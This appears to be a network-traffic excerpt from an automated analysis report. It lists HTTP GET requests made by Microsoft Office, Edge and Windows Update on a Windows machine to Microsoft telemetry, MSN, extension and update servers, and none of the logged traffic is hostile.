Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=0AFE249FEBCF639338DA31A0EAE662C3&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=ceb9aaf3e2134eb1c1fa00634c616455 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=0AFE249FEBCF639338DA31A0EAE662C3; _EDGE_S=F=1&SID=1A32DE6A5A69679E0F0FCB555B2E66D5; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MZ4M.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msG0W.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732283037066&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e86e0d66dc7146a5907dace5bc002599&activityId=e86e0d66dc7146a5907dace5bc002599&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=13585E899D4442B78D5136D58CC68DD8&MUID=0AFE249FEBCF639338DA31A0EAE662C3 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=0AFE249FEBCF639338DA31A0EAE662C3; _EDGE_S=F=1&SID=1A32DE6A5A69679E0F0FCB555B2E66D5; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732887830&P2=404&P3=2&P4=S2n%2fb4nyy%2fBAKWxXNG1atqig%2b4m4dB%2fm1KgY1esPmCktqEHshIlmCeIf0lf0CMTq%2fdrZgvtn%2b8JwwHNp%2fYyFLQ%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: JynLN8tfOnjduJ7zO3cgDNSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=oCM81O7eyRokAyw&MD=FhmLLNt7 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
